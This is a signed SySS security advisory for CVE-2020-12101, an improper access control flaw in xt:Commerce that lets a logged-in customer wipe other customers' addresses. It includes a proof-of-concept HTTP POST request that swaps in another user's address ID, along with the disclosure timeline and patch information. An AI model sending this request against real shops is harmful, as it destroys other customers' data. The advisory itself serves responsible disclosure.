-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2020-012
Product: xt:Commerce
Manufacturer: xt:Commerce GmbH
Affected Version(s): 5.4.1, 6.2.1, 6.2.2
Tested Version(s): 5.4.1, 6.2.1
Vulnerability Type: Improper Access Control (CWE-284)
Risk Level: Medium
Solution Status: Fixed
Manufacturer Notification: 2020-02-03
Solution Date: 2020-04-17
Public Disclosure: 2020-04-30
CVE Reference: CVE-2020-12101
Author of Advisory:
Markus Weiler, SySS GmbH
Luna Krone, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

xt:Commerce is an online shop software.

The product can be described as an online shop software which is mostly
used in German speaking regions. It is written in PHP and is available
as both a free and paid version. xt:Commerce can also be extended via
plug-ins.

Due to improper access control, a logged-in user can clear other user
addresses.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

A logged-in customer can create and alter addresses. These addresses are
referenced by incrementing IDs. On saving an address, an attacker could
change the ID of the address to write the data to. If the ID belongs to
an address which does not belong to the current logged-in user, every
field in the address is set to null. An attacker could use this to null
all addresses in a shop.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Sending the following request with an existing address ID belonging to
another customer nulls the fields for the inserted address ID:


POST /de/customer?page_action=edit_address HTTP/1.1
[...]

action=edit_address&address_book_id=[addressId]&old_address_class=
default&address_class=default&customers_company=&customers_gender=m&
customers_firstname=Pen&customers_lastname=Test&customers_street_address=
Test&customers_postcode=12345&customers_city=Test&customers_country_code=DE&
customers_phone=123456789&customers_fax=&customers_mobile_phone=
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Apply patch provided by the manufacturer.

More information:
https://helpdesk.xt-commerce.com/index.php?/Knowledgebase/Article/View/1784/294/adressbuch-sicherheitspatch-17042020-fr-xtcommerce-51-bis-622

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2020-01-23: Found security vulnerability during security assessment
2020-02-03: Customer reported found security vulnerability to manufacturer
2020-03-31: Security advisory with further details sent to manufacturer
2020-03-31: Acknowledgement of security advisory by manufacturer 
2020-04-17: Patch released by manufacturer
2020-04-30: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for xt:Commerce
    https://www.xt-commerce.com/
[2] SySS Security Advisory SYSS-2020-012
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-012.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Markus Weiler and Luna Krone of SySS
GmbH.

E-Mail: markus.weiler@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Markus_Weiler.asc
Key ID: 0xCEE94A2D05102DB9
Key Fingerprint: B95E 4C48 50F0 389C F24B  8B7A CEE9 4A2D 0510 2DB9

E-Mail: luna.krone@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Luna_Krone.asc
Key ID: 0x31764595D77A53F2
Key Fingerprint: C7AF 1259 B763 D588 E8D2 B302 3176 4595 D77A 53F2

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEx68SWbdj1Yjo0rMCMXZFldd6U/IFAmeXkkkACgkQMXZFldd6
U/Ln4RAA2KjTcDRuqjaqiTNvrf/nHX2AcQUzaUiYCZ4s5vQipGHo0TpN7owtyjD6
n3y+J5pQC4csh2OCf2pcFGG3nO/stJrpRc4h6YZgjDCn0E5P1446gBbaUJ8T4WKj
XFj6aErOehDITpLYu/VdgF0sYctlLXBxbvOXOlU4Q2Hyb6hLE5SUJ0CcqALC0kbP
oCs3QTR+5Cp8hyCcQxyfIyk+V6M8ELhv6QzLRO91zZmIzTN1eyxzFTJaMvWlz9XI
IJWK83GXc+mOOv0XOak0ZA5XAV8DzFOVzTXl6vZc0fuad7g+LJ6LMApDPBkAxxUN
Xq797owM61LVLu7W1496yVfG8ZbRMJYeNhAzz9rlmePhXAyEGN0ex0dVZYgdUsq9
9BSidg/B4GCj/h7tO/ciQhllibl6qek2MFQK3XTIB8Ytt5tVyL2ubdXahFj3BAY2
LBzl6SVir5dS8LrvjcK1/pefK1eb00YgBLo1dXqj+VtRZC24eb+us7hMpuZseDig
iXwSV9Yt8URqbUbVjrGSwCqCURsf05sdZP/x9I6XBQ8pHC5lK+VS4ITFdT1AEjsC
f36gBReCCK07q1ropOGnNTkgiudOBspgkrdaPZYIeKtKr81FL3TgjwdYER25A2Dq
jP+9fAlRn+rzZAhdjqsjzm6nvqXoYjmGRrDLxLDYBtoCeMMLz4E=
=N71X
-----END PGP SIGNATURE-----